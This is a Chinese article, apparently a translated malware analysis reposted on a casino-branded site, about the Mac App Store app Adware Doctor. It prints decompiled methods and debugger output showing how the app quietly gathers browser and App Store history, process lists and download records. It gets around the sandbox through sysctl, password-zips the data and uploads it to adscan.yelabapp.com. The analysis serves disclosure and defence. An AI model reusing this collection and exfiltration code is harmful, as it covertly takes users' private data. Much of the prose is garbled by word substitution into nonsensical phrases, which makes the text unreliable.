当前位置:美高梅4858mgm > 业界资讯 > 被针对中华夏族民共和国服务器提供数据,Mac App Store下架排行第意气风发的付费安软

被针对中华夏族民共和国服务器提供数据,Mac App Store下架排行第意气风发的付费安软

文章作者:业界资讯 上传时间:2019-12-23

原标题:被针对中国服务器提供数据,Mac App Store下架排行第生机勃勃的付费安软

前言

新近有韩媒广播发表,Mac App Store中付费安全软件中排行第黄金时代的Adware Doctor被钻探人口发今后未经客户同意的处境下搜集浏览历史,并将数据发送至位于中中原人民共和国的服务器,之后被Mac App Store下架。

在被下架在此以前,Adware Doctor是意气风发款广受客商接待的平安使用,目的在于保险客户的浏览器免受广告软件和恶心软件抑低。海外研商人口解构了本次发生的下架事件的来龙去脉。

Adware Doctor

在Adware Doctor的宣扬中,它是Mac顾客抵御种种大范围广告软件威迫的“最棒应用”:

图片 1

在Mac App Store中,那款应用程序非常受款待,在最热销的应用程序中排行第四,由此连苹果Mac App Store网址都列出了它的信息:

图片 2

在“付费实用工具”分类中,Adware Doctor排名第生龙活虎:

图片 3

事件解构

研究职员动用静态解析(反编写翻译)和动态深入分析(互连网监督、文件监察和控制和调度)的秘技对那款应用程序进行了商量,以下是经过和结果。

首先,研商人口从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac App Store中的全数应用程序相仿)由苹果例行签发:

图片 4

起步应用程序,观察到它经过HTTPS发出各类互连网要求。举个例子,连接纳adwareres.securemacos.com通过GET央浼/AdwareDoctor/master.1.5.5.js:

图片 5

如图所示,下载的master.1.5.5.js文件包含基本JSON配置数据:

{

“disable_rate”:false,

“disable_prescan”:false,

“sk_on”:false,

“faq_link”:“

}

单击应用程序界面中的“Clean”按键会触发另二个到adwareres.securemacos.com的网络央浼,这一次下载的是名称叫config1.5.0.js的第三个文本:

图片 6

本次下载的config1.5.0.js文本满含越来越多JSON,最值得注意的是那款软件的数据库的链接:

{

“update”:true,

“version”:“201808243”,

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

}

下一场是八个看起来很健康的数据库更新进程:

图片 7

探究人口翻开了数据库的从头到尾的经过,是加密的(符合反广告软件/反恶意软件的做法):

图片 8

采取调节和测验器捕获应用程序在内部存款和储蓄器中解密的文件,然后转储纯文本内容:

(lldb)

binaryContentMatchPatten = ({

md5 = (

48a96e1c00be257debc9c9c58fafaffe,

f1a19b8929ec88a81a6bdce6d5ee66e6,

3e653285b290c12d40982e6bb65928c1,

801e59290d99ecb39fd218227674646e,

8d0cd4565256a781f73aa1e68e2a63de,

e233edd82b3dffd41fc9623519ea281b,

1db830f93667d9c38dc943595dcc2d85,

...

browserHomePagePatten = (

{

name = "Chrome homepage: safefinder";

patten = "Chrome.*feed\.snowbitt\.com.*publisher=tingnew";

},

{

name = "Chrome homepage: safefinder";

patten = "Chrome.*feed\.snowbitt\.com.*publisher=TingSyn";

},

{

name = "Chrome homepage: safefinder";

patten = "Chrome.*searchword.*/90/";

},

...

filePathPatten = (

"/Applications/WebShoppers",

"/Applications/WebShoppy",

"/Applications/SoftwareUpdater",

"/Applications/webshoppers",

"~/Library/Application Support/WebTools",

"~/Library/WebTools",

"/Applications/WebTools",

"/Applications/WebTools.app",

"/Applications/SmartShoppy",

"/Applications/ShopTool",

"/Applications/ShoppyTool",

"/Applications/EasyShopper",

...

launchPathMatchPatten = (

"com.WebShoppers.agent.plist",

"com.WebShoppy.agent.plist",

"com.webshoppers.agent.plist",

"com.SoftwareUpdater.agent.plist",

...

whitelist = (

"~/Library/LaunchAgents/com.spotify.webhelper.plist",

"/Library/LaunchDaemons/com.intel.haxm.plist",

"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",

"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",

"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",

"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",

"/Library/LaunchAgents/com.microsoft.update.agent.plist",

"/Library/LaunchDaemons/com.crashplan.engine.plist"

...

这个特色看起来是生龙活虎款反广告软件,况且哈希值确实与已知的广告软件至极:

图片 9

例如Adware.MAC.Pirrit:

图片 10

归来Adware Doctor应用分界面,它已兵马未动粮草先行有备无患好清理顾客的连串:

图片 11

停止上边一步并未有现身相当,但前边对难堪了。

率先,在运维文件监视器(譬喻MacOS内置的fs_usage)和对含有历史记录的文书实行过滤(不区分朗朗上口写)后,一些老大的公文访谈历史显现出来:

# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/History

Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运维进程监视器(举例开源的ProcInfo实用程序),能够观测到Adware Doctor使用内建zip实用程序创立受密码爱慕的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

"/bin/bash",

"-c",

"zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null"

)

运用网络代理监视器(Charles Proxy)捕获Adware Doctor到adscan.yelabapp.com的一连尝试:

图片 12

通过编写制定系统的/etc/hosts文件,将此恳请重定向到商量人口调整的服务器,捕获到Adware Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

Connection: keep-alive

Accept: */*

User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)

Content-Length: 15810

Accept-Language: en-us

Accept-Encoding: br, gzip, deflate

Path: /1/checkadware

Attachment: 'history.zip' (length: 15810)

待上传的“history.zip”文件受密码爱慕:

图片 13

回放经过监视器的出口,密码被发送到内建的zip实用程序:zip -r –quiet -P webtool …。

密码也被编码到应用程序的二进制文件中,因而反编写翻译二进制文件就能够获得密码。

输入webtool作为密码解压文件:

图片 14

翻开解压出来的原委,Adware Doctor在暗地里搜集顾客的浏览器历史记录:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Person 1:

2018-08-20 21:19:57

2018-08-20 21:19:36

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

08:29:41

1397-06-02 08:29:20

深切分析

看样子这里,有三个难题供给解答:

它如何绕过Mac App Store的沙盒机制来访谈客商的文件?

它怎么搜罗客户的浏览器历史记录?

它还访谈了如何系统音信和个人身份音信(PII)?

从平安定谐和隐秘的角度来看,从官方Mac App Store安装应用程序的重大优势有两点:

前后相继通过苹果官方考察和签发;

程序在沙盒中运营。

当应用程序在沙箱中运作时,能够访谈的文本或客户音信非常简单,应该不能够访谈客商的浏览器历史记录,但那边Adware Doctor做到了。

由此工具(WhatsYourSign)查看该应用程序的权杖,包蕴:com.apple.security.files.user-selected.read-write:

图片 15

那项权限意味着应用程序能够供给某个文件的权能,况兼赢得确定的客商许可后,对文件实行读/写操作。Adware Doctor在首先次运营时,会呈请访问客户的主目录以致上面包车型客车有所文件和目录:

图片 16

那是透过[MainWindowController showFileAccess]方式完毕的:

/ * @class MainWindowController * /

- (void)showFileAccess {

r15 = self;

var_30 = [[AppSandboxFileAccess fileAccess] retain];

r13 = [[AppSandboxFileAccess fileAccess] retain];

rbx = [[BSUtil realHomeDirectory] retain];

r14 = [r13 hasAccessPremisionPath:rbx];

...

在AppSandboxFileAccess类的拔刀相助下:

图片 17

在调节和测量试验器(lldb)中,观看客户主目录的拜谒尝试:

Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:

-> 0x10000cebf <+0>: pushq %rbp

0x10000cec0 <+1>: movq %rsp, %rbp

0x10000cec3 <+4>: pushq %r15

0x10000cec5 <+6>: pushq %r14

(lldb) po $rdi

(lldb) x/s $rsi

0x10006a147: "hasAccessPremisionPath:"

(lldb) po $rdx

/Users/user

现行反革命,Adware Doctor能够合法访问客户的公文和目录,举个例子扫描以寻觅恶意代码。但是,大器晚成旦客商点击允许,Adware Doctor将具有对具有用户文件的漫天拜见权限,它利用了种种征集系统和客户新闻的方式。就算某个(比方进程列表)大概真便是用来反恶意软件或反广告软件的操作,但别的客商消息(譬喻客商的浏览历史记录)违反了适度从紧的Mac App Store准则。

募集格局在ACEAdwareCleaner类中贯彻,并取名称为collect *:

图片 18

逆向一下局部办法

先是是collect萨姆ple方法。此方法查询应用程序下载的数据库。看起来它用于搜索访问样品中内定的文件:

- (void)collectSample {

...

rbx = [r15 pattenDic];

r14 = [rbx valueForKey:@“sample”];

在调节和测量试验器中跳过此代码,并检讨示例键的未加密值:

(lldb)“/ Application / Adware Doctor.app”

...

po $ rax

<__ NSArrayM 0x10732b5e0>(

NAME =`whoami`; echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;

它正值客商的LaunchAgents目录中寻找名称为com.apple.Yahoo.plist的公文。在搜寻引擎中找出“com.apple.Yahoo.plist”,跳出的音信与Monroe币挖矿木马有关。在VirusTotal上得以找到相关文件,但看起来没难题:

图片 19

collectPSCommonInfoToFile方法。反编译相关文书后拿走了字符串和详细的方法名称,揭露了目标:

/* @class ACEAdwareCleaner */

-(void)collectPSCommonInfoToFile:(void *)arg2 {

var_38 = [arg2 retain];

r14 = [[NSMutableString alloc] init];

[r14 appendString:@"===System===n"];

rbx = [[ACECommon operatingSystem] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r14 appendString:@"===OS UpTime===n"];

rbx = [[ACECommon getSystemUpTime] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r14 appendString:@"===Launch===n"];

rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

r15 = [[ACECommon realHomeDirectory] retain];

r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain];

rbx = [[self readLaunchFolder:r13] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r13 release];

[r15 release];

[r14 appendString:@"n===Applications===n"];

rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@"n===process===n"];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@"n===process2===n"];

rbx = [[ACECommon collectProcessList2] retain];

[r14 appendString:rbx];

[rbx release];

[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];

[var_38 release];

[r14 release];

return;

}

能够手动剖析这几个代码,但回顾地让它推行并在下后生可畏行(左近函数末尾)设置断点要轻松得多:

(lldb)po $ rdx

/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support / com.yelab.Browser-Sweeper / history / psCommonInfo

请留意这一个psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文书档案中):

$ cat psCommonInfo

===System===

Version 10.13.6 (Build 17G65)

===OS UpTime===

1hour, 10minute, 31second

===Launch===

/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist

444 root wheel

...

===Applications===

/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)

/Applications/Siri.app(1396-07-27 03:17:13 +0000)

/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)

/Applications/Chess.app(1396-06-15 01:20:21 +0000)

/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)

/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)

....

===process2===

processID processName userID userName command

1759 bash 501 user /bin/bash

1758 login 0 root /usr/bin/login

1730 silhouette 501 user /usr/libexec/silhouette

1709 mdwrite 501 user /System/Library/Frame

....

就算如此Adware Doctor获得了通过com.apple.security.files.user-selected.read-write权限和显眼的顾客许可来枚举顾客文件,但听别人讲沙箱设计,它依旧不可能列出任何正在运维的历程。

回溯一下collectPSCommonInfoToFile,调用以下两种办法:

[r14 appendString:@“ n === process === n”];

rbx = [[ACECommon collectProcessList] retain];

...

[r14 appendString:@“ n === process2 === n”];

rbx = [[ACECommon collectProcessList2] retain];

办法collectProcessList尝试通过嵌入的ps命令枚举全数正在周转的进度:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/sh

(lldb) po [$rdi arguments]

<__NSArrayI 0x1002851f0>(

-c,

ps -e -c -o "pid uid user args"

)

被macOS应用程序沙箱阻止(拒绝),因为枚举正在周转的长河(来自沙箱)是“大忌”:

/bin/sh: /bin/ps: Operation not permitted

Adware Doctor使用了collectProcessList2方法:

+(void *)collectProcessList2

{

...

rax = sub_1000519ad(&var_1068, &var_10A0,

@"processIDttt processNamettt userIDttt userNamettt commandn", rcx, r8, r9);

...

var_1070 = var_1068;

do {

...

proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000);

} while (var_1088 > rax);

}

调用sub_1000519ad然后迭代该函数重返的意气风发对列表,调用proc_pidpath。sub_1000519ad赶回一个历程ID列表:

000000010007df90 dd 0x00000001 ;CTL_KERN

000000010007df94 dd 0x0000000e ;KERN_PROC

000000010007df98 dd 0x00000000 ;KERN_PROC_ALL

int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)

{

...

rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);

if ((r12 ^ rax) == 0x1){

__assert_rtn("GetBSDProcessList",

"/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ...

}

rbx = malloc(0x0);

rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);

sysctl函数的调用加上字符串GetBSDProcessList给出了经过列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中赢得进度列表,也便是说 Adware Doctor用来绕沙箱的代码直接源于苹果。

近期让咱们看看Adware Doctor怎么样搜聚客户的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:

collectSafariHistoryToFile

collectChromeHistoryToFile

firefoxHistory

这么些艺术中的每一个都包蕴用于提取浏览器历史记录的代码。

对此Safari来讲,那将调用深入分析其History.db文件:

+(void)collectSafariHistoryToFile:(void *)arg2 {

...

if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) {

r15 = [[ACECommon realHomeDirectory] retain];

rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];

;parse database

}

else {

r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain];

[r12 writeData:r14];

[r14 release];

[r12 closeFile];

}

}

该collectChromeHistoryToFile涉及到两个公文,但大约能够归咎为列举Chrome个人资料,然后深入分析Chrome历史数据。

+(void)collectChromeHistoryToFile:(void *)arg2 {

r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain];

rbx = [[rbx stringByAppendingPathComponent:r13] retain];

[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];

...

rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];

...

}

提及底,在言之有序各类配置文件的places.sqlite数据库以前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:

+(void)collectFirefoxHistoryToFile:(void *)arg2 {

...

r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain];

r15 = [[rbx stringByAppendingPathComponent:r12] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];

该应用程序还会有七个名字为collectAppStoreHistoryToFile的措施,它将尝试在App Store App中赢得客户近日的富有寻觅记录:

+(void)collectAppStoreHistoryToFile:(void *)arg2 {

...

15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain];

...

r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx]

...

ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*(https://search.itunes.apple.com.*q=.*)" .*/1/'")]

}

在访谈完客商数据后将持有内容都减削到history.zip文件发送:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/bash

(lldb) po [$rdi arguments]

<__NSArrayI 0x100352480>(

-c,

zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null

)

此文件以至富含软件列表的JSON blob(已下载的.dmgs或.pkgs以致从哪儿下载),然后经过调用sendPostRequestWithSuffix方法上传播服务器(请小心API端点:checkadware) :

[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];

[

{

"content": "/Users/user/Downloads/googlechrome.dmgn1397-06-02 21:15:46 +0000n(n "https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg",n "https://www.google.com/chrome/"n)n5533641bc4cc7af7784565ac2386a807n"

},{

"content": "/Users/user/Downloads/charles-proxy-4.2.6.dmgn1397-06-02 20:48:18 +0000n(n "https://www.charlesproxy.com/assets/release/4.2.6/charles-proxy-4.2.6.dmg",n "https://www.charlesproxy.com/latest-release/download.do"n)nde043b43c49077bbdce75de22e2f2d54n"

},{

"content": "/Users/user/Downloads/Firefox 61.0.2.dmgn1397-06-02 21:16:08 +0000n(n "https://download-installer.cdn.mozilla.net/pub/firefox/releases/61.0.2/mac/en-US/Firefox%2061.0.2.dmg",n "https://www.mozilla.org/en-US/firefox/download/thanks/?v=a"n)n65096904bf80c4dd12eb3ba833b7db8dn"

},

...

]

--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA

Content-Disposition: form-data; name="attachment"; filename="history.zip"

Content-Type: application/zip

...

到了这边,客商数量就发到中中原人民共和国的服务器上去了。

结语

Adware Doctor的一举一动违背了苹果 Mac App Store严峻的平整和大旨。举例,在“App Store法则和指南” 的“数据收集和仓库储存”部分提议:

征集客商或利用数据的应用程序必需确认保障客户的同意;

动用必需尊重客商的权柄设置,实际不是筹划欺诈或反逼客商同意无需的数据访问;

将从开辟人士安顿中去除使用其应用程序偷偷开掘私人数据的开拓职员。

*参谋来源:theregister,Freddy编写翻译整理,转发请申明来源 FreeBuf.COM。回到腾讯网,查看越多

主要编辑:

本文由美高梅4858mgm发布于业界资讯,转载请注明出处:被针对中华夏族民共和国服务器提供数据,Mac App Store下架排行第意气风发的付费安软

关键词: